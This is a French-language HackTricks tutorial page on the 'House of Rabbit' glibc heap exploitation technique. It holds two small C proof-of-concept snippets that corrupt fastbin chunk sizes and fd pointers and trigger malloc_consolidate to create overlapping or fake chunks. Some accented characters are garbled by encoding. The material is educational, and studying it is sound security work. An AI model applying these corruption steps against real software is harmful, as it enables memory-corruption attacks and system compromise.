House of Rabbit
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Exigences
- Capacité à modifier le pointeur fd du fast bin ou sa taille : Cela signifie que vous pouvez changer le pointeur avant d'un chunk dans le fastbin ou sa taille.
- Capacité à déclencher
malloc_consolidate
: Cela peut ĂȘtre fait en allouant un grand chunk ou en fusionnant le chunk supĂ©rieur, ce qui force le tas Ă consolider les chunks.
Objectifs
- Créer des chunks qui se chevauchent : Avoir un chunk qui se chevauche avec un autre, permettant d'autres manipulations du tas.
- Forger de faux chunks : Tromper l'allocateur pour qu'il traite un faux chunk comme un chunk légitime lors des opérations sur le tas.
Ătapes de l'attaque
POC 1 : Modifier la taille d'un chunk de fast bin
Objectif : Créer un chunk qui se chevauche en manipulant la taille d'un chunk de fastbin.
- Ătape 1 : Allouer des Chunks
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Nous allouons deux morceaux de 0x40 octets chacun. Ces morceaux seront placés dans la liste des fast bins une fois libérés.
- Ătape 2 : LibĂ©rer les morceaux
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Nous libérons les deux morceaux, les ajoutant à la liste fastbin.
- Ătape 3 : Modifier la taille du morceau
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Nous changeons les métadonnées de taille de chunk1
Ă 0xa1. C'est une Ă©tape cruciale pour tromper l'allocateur lors de la consolidation.
- Ătape 4 : DĂ©clencher
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Allouer un grand morceau déclenche la fonction malloc_consolidate
, fusionnant de petits morceaux dans le fast bin. La taille manipulée de chunk1
provoque un chevauchement avec chunk2
.
AprĂšs la consolidation, chunk1
chevauche chunk2
, permettant une exploitation supplémentaire.
POC 2 : Modifier le pointeur fd
Objectif : Créer un faux morceau en manipulant le pointeur fd
du fast bin.
- Ătape 1 : Allouer des morceaux
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Explication : Nous allouons deux morceaux, un plus petit et un plus grand, pour préparer le tas pour le faux morceau.
- Ătape 2 : CrĂ©er un faux morceau
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Nous écrivons de fausses métadonnées de chunk dans chunk2
pour simuler des chunks plus petits.
- Ătape 3 : LibĂ©rer
chunk1
free(chunk1); // Frees the chunk at 0x602000
Explication : Nous libérons chunk1
, l'ajoutant Ă la liste fastbin.
- Ătape 4 : Modifier
fd
dechunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Explication : Nous changeons le pointeur avant (fd
) de chunk1
pour qu'il pointe vers notre faux chunk à l'intérieur de chunk2
.
- Ătape 5 : DĂ©clencher
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Allouer à nouveau un gros morceau déclenche malloc_consolidate
, qui traite le faux morceau.
Le faux morceau devient partie de la liste fastbin, en faisant un morceau légitime pour une exploitation ultérieure.
Résumé
La technique House of Rabbit implique soit de modifier la taille d'un morceau fast bin pour créer des morceaux qui se chevauchent, soit de manipuler le pointeur fd
pour créer des morceaux factices. Cela permet aux attaquants de forger des morceaux légitimes dans le tas, permettant diverses formes d'exploitation. Comprendre et pratiquer ces étapes améliorera vos compétences en exploitation de tas.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.